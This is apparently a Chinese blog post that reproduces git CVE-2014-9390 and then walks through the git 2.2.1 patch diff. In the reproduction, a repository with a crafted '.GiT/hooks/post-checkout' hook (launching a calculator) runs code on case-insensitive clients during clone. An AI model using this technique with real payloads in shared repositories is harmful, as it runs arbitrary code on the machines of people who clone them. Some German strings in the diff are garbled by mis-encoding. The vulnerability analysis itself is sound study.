git CVE-2014-9390 验证以及源码对比
一 验证部分
首先在ubuntu下面建立如下工程
mkdir repo cd repo git init mkdir -p .GiT/hooks cp post-checkout .GiT/hooks cat post-checkout 内容如下 #!/bin/sh calc.exe calc open /Applications/Calculator.app/ gnome-calculator
然后将工程提交到git服务器,由于github已经不能提交.Git这种目录,我就自己搭建了一个服务器.
git remote add origin git@10.10.10.133:/home/git/project.git
git push origin master
然后在windows下验证,由于此bug只能在大小写不敏感的文件系统上才能重现,所以客户端只能是windows或者mac.
$ git --version
git version 1.9.2.msysgit.0
$ git clone git@10.10.10.133:/home/git/project.git Cloning into 'project'... git@10.10.10.133's password: remote: Counting objects: 12, done. remote: Compressing objects: 100% (6/6), done. remote: Total 12 (delta 0), reused 0 (delta 0) Receiving objects: 100% (12/12), done. Checking connectivity... done. .git/hooks/post-checkout: line 4: open: command not found .git/hooks/post-checkout: line 5: gnome-calculator: command not found
结果打开两次计算器.
如果使用升级以后的git呢,我们来看看git 1.9.5
$ git clone git@10.10.10.133:/home/git/project.git Cloning into 'project'... git@10.10.10.133's password: remote: Counting objects: 12, done. remote: Compressing objects: 100% (6/6), done. remote: Total 12 (delta 0), reused 0 (delta 0) Receiving objects: 100% (12/12), done. Checking connectivity... done. error: Invalid path '.GiT/hooks/post-checkout' Administrator@MICRO-6A55C209C /c/repo $ git --version git version 1.9.5.msysgit.0
这里报错,说.GiT是一个无效的路径,被过滤掉了.
这个错误从本质上来说就是因为在linux系统下面,.Git/hooks/post-checkout只是一个普通文件.但是对于大小写不敏感的系统,这个文件会覆盖git系统的.git/hooks/post-checkout这个配置文件,导致的结果是任意命令的执行.
这个本来是git的一个功能,来提高git对于项目管理的灵活性,并且一般clone的时候是不会clone .git/下面的配置文件的.
二 源码对比
接下来我们来看看git最新版本做了哪些改动呢?
我将最新的git-2.2.1和git-2.2.0(这个是官方版本,windows下用的是msysgit,所以版本号不一致)
diff -r git-2.2.0 git-2.2.1
输出结果如下:
Only in git-2.2.1/Documentation/RelNotes: 1.8.5.6.txt Only in git-2.2.1/Documentation/RelNotes: 1.9.5.txt Only in git-2.2.1/Documentation/RelNotes: 2.0.5.txt Only in git-2.2.1/Documentation/RelNotes: 2.1.4.txt Only in git-2.2.1/Documentation/RelNotes: 2.2.1.txt diff -r git-2.2.0/Documentation/config.txt git-2.2.1/Documentation/config.txt 248a249,259 > core.protectHFS:: > If set to true, do not allow checkout of paths that would > be considered equivalent to `.git` on an HFS+ filesystem. > Defaults to `true` on Mac OS, and `false` elsewhere. > > core.protectNTFS:: > If set to true, do not allow checkout of paths that would > cause problems with the NTFS filesystem, e.g. conflict with > 8.3 "short" names. > Defaults to `true` on Windows, and `false` elsewhere. > diff -r git-2.2.0/Documentation/git.txt git-2.2.1/Documentation/git.txt 46c46 < * link:v2.2.0/git.html[documentation for release 2.2] --- > * link:v2.2.1/git.html[documentation for release 2.2.1] 48a49 > link:RelNotes/2.2.1.txt[2.2.1], 51c52 < * link:v2.1.3/git.html[documentation for release 2.1.3] --- > * link:v2.1.4/git.html[documentation for release 2.1.4] 53a55 > link:RelNotes/2.1.4.txt[2.1.4], 59c61 < * link:v2.0.4/git.html[documentation for release 2.0.4] --- > * link:v2.0.5/git.html[documentation for release 2.0.5] 61a64 > link:RelNotes/2.0.5.txt[2.0.5], 68c71 < * link:v1.9.4/git.html[documentation for release 1.9.4] --- > * link:v1.9.5/git.html[documentation for release 1.9.5] 70a74 > link:RelNotes/1.9.5.txt[1.9.5], 77c81 < * link:v1.8.5.5/git.html[documentation for release 1.8.5.5] --- > * link:v1.8.5.6/git.html[documentation for release 1.8.5.6] 79a84 > link:RelNotes/1.8.5.6.txt[1.8.5.6], diff -r git-2.2.0/GIT-VERSION-GEN git-2.2.1/GIT-VERSION-GEN 4c4 < DEF_VER=v2.2.0 --- > DEF_VER=v2.2.1 diff -r git-2.2.0/RelNotes git-2.2.1/RelNotes 1c1 < Documentation/RelNotes/2.2.0.txt \ No newline at end of file --- > Documentation/RelNotes/2.2.1.txt \ No newline at end of file diff -r git-2.2.0/cache.h git-2.2.1/cache.h 619a620,621 > extern int protect_hfs; > extern int protect_ntfs; 833a836 > extern int is_ntfs_dotgit(const char *name); diff -r git-2.2.0/config.c git-2.2.1/config.c 898a899,908 > if (!strcmp(var, "core.protecthfs")) { > protect_hfs = git_config_bool(var, value); > return 0; > } > > if (!strcmp(var, "core.protectntfs")) { > protect_ntfs = git_config_bool(var, value); > return 0; > } > diff -r git-2.2.0/config.mak.uname git-2.2.1/config.mak.uname 107a108 > BASIC_CFLAGS += -DPROTECT_HFS_DEFAULT=1 375a377 > BASIC_CFLAGS += -DPROTECT_NTFS_DEFAULT=1 516a519 > BASIC_CFLAGS += -DPROTECT_NTFS_DEFAULT=1 diff -r git-2.2.0/configure git-2.2.1/configure 3c3 < # Generated by GNU Autoconf 2.69 for git 2.2.0. --- > # Generated by GNU Autoconf 2.69 for git 2.2.1. 583,584c583,584 < PACKAGE_VERSION='2.2.0' < PACKAGE_STRING='git 2.2.0' --- > PACKAGE_VERSION='2.2.1' > PACKAGE_STRING='git 2.2.1' 1254c1254 < \`configure' configures git 2.2.0 to adapt to many kinds of systems. --- > \`configure' configures git 2.2.1 to adapt to many kinds of systems. 1315c1315 < short | recursive ) echo "Configuration of git 2.2.0:";; --- > short | recursive ) echo "Configuration of git 2.2.1:";; 1454c1454 < git configure 2.2.0 --- > git configure 2.2.1 1934c1934 < It was created by git $as_me 2.2.0, which was --- > It was created by git $as_me 2.2.1, which was 7825c7825 < This file was extended by git $as_me 2.2.0, which was --- > This file was extended by git $as_me 2.2.1, which was 7882c7882 < git config.status 2.2.0 --- > git config.status 2.2.1 diff -r git-2.2.0/environment.c git-2.2.1/environment.c 66a67,76 > #ifndef PROTECT_HFS_DEFAULT > #define PROTECT_HFS_DEFAULT 0 > #endif > int protect_hfs = PROTECT_HFS_DEFAULT; > > #ifndef PROTECT_NTFS_DEFAULT > #define PROTECT_NTFS_DEFAULT 0 > #endif > int protect_ntfs = PROTECT_NTFS_DEFAULT; > diff -r git-2.2.0/fsck.c git-2.2.1/fsck.c 9a10 > #include "utf8.h" 174c175,177 < has_dotgit |= !strcmp(name, ".git"); --- > has_dotgit |= (!strcmp(name, ".git") || > is_hfs_dotgit(name) || > is_ntfs_dotgit(name)); diff -r git-2.2.0/git.spec git-2.2.1/git.spec 4c4 < Version: 2.2.0 --- > Version: 2.2.1 diff -r git-2.2.0/path.c git-2.2.1/path.c 825a826,858 > > static int only_spaces_and_periods(const char *path, size_t len, size_t skip) > { > if (len < skip) > return 0; > len -= skip; > path += skip; > while (len-- > 0) { > char c = *(path++); > if (c != ' ' && c != '.') > return 0; > } > return 1; > } > > int is_ntfs_dotgit(const char *name) > { > int len; > > for (len = 0; ; len++) > if (!name[len] || name[len] == '\\' || is_dir_sep(name[len])) { > if (only_spaces_and_periods(name, len, 4) && > !strncasecmp(name, ".git", 4)) > return 1; > if (only_spaces_and_periods(name, len, 5) && > !strncasecmp(name, "git~1", 5)) > return 1; > if (name[len] != '\\') > return 0; > name += len + 1; > len = -1; > } > } diff -r git-2.2.0/po/de.po git-2.2.1/po/de.po 647c647 < msgstr "FEHLER: Wiederer枚ffnen einer bereits ge枚ffneten Lock-Datei" --- > msgstr "FEHLER: Wieder枚ffnen einer bereits ge枚ffneten Lock-Datei" 651c651 < msgstr "FEHLER: Wiederer枚ffnen einer bereits committeten Lock-Datei" --- > msgstr "FEHLER: Wieder枚ffnen einer bereits committeten Lock-Datei" 1959c1959 < msgstr " (benutzen Sie die Option -u, um unbeobachteten Dateien anzuzeigen)" --- > msgstr " (benutzen Sie die Option -u, um unbeobachtete Dateien anzuzeigen)" 2813c2813 < msgstr "Inhalte der <Datei>en als entg眉ltiges Abbild benutzen" --- > msgstr "Inhalte der <Datei>en als endg眉ltiges Abbild benutzen" 3081c3081 < msgstr "farbliche Ausgaben verwenden" --- > msgstr "farbige Ausgaben verwenden" 5588c5588 < msgstr "Platzhalter als TCL-String formatieren" --- > msgstr "Platzhalter als Tcl-String formatieren" 6895c6895 < msgstr "zwischengespeicherten Dateien in der Ausgabe anzeigen (Standard)" --- > msgstr "zwischengespeicherte Dateien in der Ausgabe anzeigen (Standard)" 8122c8122 < msgstr "keine k眉nstlichen Vorg盲nger-Commit (\"grafts\") verbergen" --- > msgstr "keine k眉nstlichen Vorg盲nger-Commits (\"grafts\") verbergen" 9698c9698 < msgstr "'*!+-' entsprechend des Branches einf盲rgen" --- > msgstr "'*!+-' entsprechend des Branches einf盲rben" diff -r git-2.2.0/read-cache.c git-2.2.1/read-cache.c 19a20 > #include "utf8.h" 779c780,781 < if (rest[1] != 'i') --- > case 'G': > if (rest[1] != 'i' && rest[1] != 'I') 781c783 < if (rest[2] != 't') --- > if (rest[2] != 't' && rest[2] != 'T') 804a807,810 > if (protect_hfs && is_hfs_dotgit(path)) > return 0; > if (protect_ntfs && is_ntfs_dotgit(path)) > return 0; Only in git-2.2.1/t: t1014-read-tree-confusing.sh diff -r git-2.2.0/t/t1450-fsck.sh git-2.2.1/t/t1450-fsck.sh 312,341c312,346 < test_expect_success 'fsck notices "." and ".." in trees' ' < ( < git init dots && < cd dots && < blob=$(echo foo | git hash-object -w --stdin) && < tab=$(printf "\\t") && < git mktree <<-EOF && < 100644 blob $blob$tab. < 100644 blob $blob$tab.. < EOF < git fsck 2>out && < cat out && < grep "warning.*\\." out < ) < ' < < test_expect_success 'fsck notices ".git" in trees' ' < ( < git init dotgit && < cd dotgit && < blob=$(echo foo | git hash-object -w --stdin) && < tab=$(printf "\\t") && < git mktree <<-EOF && < 100644 blob $blob$tab.git < EOF < git fsck 2>out && < cat out && < grep "warning.*\\.git" out < ) < ' --- > while read name path pretty; do > while read mode type; do > : ${pretty:=$path} > test_expect_success "fsck notices $pretty as $type" ' > ( > git init $name-$type && > cd $name-$type && > echo content >file && > git add file && > git commit -m base && > blob=$(git rev-parse :file) && > tree=$(git rev-parse HEAD^{tree}) && > value=$(eval "echo \$$type") && > printf "$mode $type %s\t%s" "$value" "$path" >bad && > bad_tree=$(git mktree <bad) && > git fsck 2>out && > cat out && > grep "warning.*tree $bad_tree" out > )' > done <<-\EOF > 100644 blob > 040000 tree > EOF > done <<-EOF > dot . > dotdot .. > dotgit .git > dotgit-case .GIT > dotgit-unicode .gI${u200c}T .gI{u200c}T > dotgit-case2 .Git > git-tilde1 git~1 > dotgitdot .git. > dot-backslash-case .\\\\.GIT\\\\foobar > dotgit-case-backslash .git\\\\foobar > EOF diff -r git-2.2.0/t/test-lib.sh git-2.2.1/t/test-lib.sh 172c172,176 < export _x05 _x40 _z40 LF --- > # UTF-8 ZERO WIDTH NON-JOINER, which HFS+ ignores > # when case-folding filenames > u200c=$(printf '\342\200\214') > > export _x05 _x40 _z40 LF u200c diff -r git-2.2.0/unpack-trees.c git-2.2.1/unpack-trees.c 101c101 < static void do_add_entry(struct unpack_trees_options *o, struct cache_entry *ce, --- > static int do_add_entry(struct unpack_trees_options *o, struct cache_entry *ce, 110,111c110,111 < add_index_entry(&o->result, ce, < ADD_CACHE_OK_TO_ADD | ADD_CACHE_OK_TO_REPLACE); --- > return add_index_entry(&o->result, ce, > ADD_CACHE_OK_TO_ADD | ADD_CACHE_OK_TO_REPLACE); 612c612,614 < do_add_entry(o, src[i], 0, 0); --- > if (do_add_entry(o, src[i], 0, 0)) > return -1; > diff -r git-2.2.0/utf8.c git-2.2.1/utf8.c 563a564,627 > > /* > * Pick the next char from the stream, folding as an HFS+ filename comparison > * would. Note that this is _not_ complete by any means. It's just enough > * to make is_hfs_dotgit() work, and should not be used otherwise. > */ > static ucs_char_t next_hfs_char(const char **in) > { > while (1) { > ucs_char_t out = pick_one_utf8_char(in, NULL); > /* > * check for malformed utf8. Technically this > * gets converted to a percent-sequence, but > * returning 0 is good enough for is_hfs_dotgit > * to realize it cannot be .git > */ > if (!*in) > return 0; > > /* these code points are ignored completely */ > switch (out) { > case 0x200c: /* ZERO WIDTH NON-JOINER */ > case 0x200d: /* ZERO WIDTH JOINER */ > case 0x200e: /* LEFT-TO-RIGHT MARK */ > case 0x200f: /* RIGHT-TO-LEFT MARK */ > case 0x202a: /* LEFT-TO-RIGHT EMBEDDING */ > case 0x202b: /* RIGHT-TO-LEFT EMBEDDING */ > case 0x202c: /* POP DIRECTIONAL FORMATTING */ > case 0x202d: /* LEFT-TO-RIGHT OVERRIDE */ > case 0x202e: /* RIGHT-TO-LEFT OVERRIDE */ > case 0x206a: /* INHIBIT SYMMETRIC SWAPPING */ > case 0x206b: /* ACTIVATE SYMMETRIC SWAPPING */ > case 0x206c: /* INHIBIT ARABIC FORM SHAPING */ > case 0x206d: /* ACTIVATE ARABIC FORM SHAPING */ > case 0x206e: /* NATIONAL DIGIT SHAPES */ > case 0x206f: /* NOMINAL DIGIT SHAPES */ > case 0xfeff: /* ZERO WIDTH NO-BREAK SPACE */ > continue; > } > > /* > * there's a great deal of other case-folding that occurs, > * but this is enough to catch anything that will convert > * to ".git" > */ > return tolower(out); > } > } > > int is_hfs_dotgit(const char *path) > { > ucs_char_t c; > > if (next_hfs_char(&path) != '.' || > next_hfs_char(&path) != 'g' || > next_hfs_char(&path) != 'i' || > next_hfs_char(&path) != 't') > return 0; > c = next_hfs_char(&path); > if (c && !is_dir_sep(c)) > return 0; > > return 1; > } diff -r git-2.2.0/utf8.h git-2.2.1/utf8.h 44a45,52 > /* > * Returns true if the the path would match ".git" after HFS case-folding. > * The path should be NUL-terminated, but we will match variants of both ".git\0" > * and ".git/..." (but _not_ ".../.git"). This makes it suitable for both fsck > * and verify_path(). > */ > int is_hfs_dotgit(const char *path); > diff -r git-2.2.0/version git-2.2.1/version 1c1 < 2.2.0 --- > 2.2.1
可以看出改动很小,主要以下几个方面:
1. 添加了core.protectHFS 针对苹果系统
添加了core.protectNTFS 针对windows系统
2. 在fsck.c中
原来的has_dotgit |= !strcmp(name, ".git");
变成了
has_dotgit |= (!strcmp(name, ".git") ||
is_hfs_dotgit(name) ||
is_ntfs_dotgit(name));
而如果has_gotgit为1,那么在后面将会报错
if (has_dotgit)
retval += error_func(&item->object, FSCK_WARN, "contains '.git'");
fsck是用于git 一致性检查,我们暂时先忽略它.
3.在path.c中加入了
static int only_spaces_and_periods(const char *path, size_t len, size_t skip) { if (len < skip) return 0; len -= skip; path += skip; while (len-- > 0) { char c = *(path++); if (c != ' ' && c != '.') return 0; } return 1; } int is_ntfs_dotgit(const char *name) { int len; for (len = 0; ; len++) if (!name[len] || name[len] == '\\' || is_dir_sep(name[len])) { if (only_spaces_and_periods(name, len, 4) && !strncasecmp(name, ".git", 4)) return 1; if (only_spaces_and_periods(name, len, 5) && !strncasecmp(name, "git~1", 5)) return 1; if (name[len] != '\\') return 0; name += len + 1; len = -1; } }
is_ntfs_dotgit主要是用来判断路名是不是以.git开头,这里检查的比较宽泛,诸如..git,..Git,' .git'都被算做了以git开头,其实后两种情况,我在windows下面验证了,是不会和.git造成混淆的,可能是谨慎起见吧.
4. 使用
接下来是这个函数的使用,在read-cache.c中,这个才是我们clone的时候调用的函数.
一个是在
static int verify_dotfile(const char *rest)函数中,对于各种情况的大小写.git都认为是非法的.
还有就是
int verify_path(const char *path)中,对于路径的验证.
if (protect_hfs && is_hfs_dotgit(path))
return 0;
if (protect_ntfs && is_ntfs_dotgit(path))
return 0;
对于ntfs和hfs都进行了验证.
最后
由于没有苹果系统,这里就不对hfs进行解析了,其实两者做的工作差不多,只不过hfs又要考虑编码问题,这里就不写明了,感兴趣的读者自己去分析吧.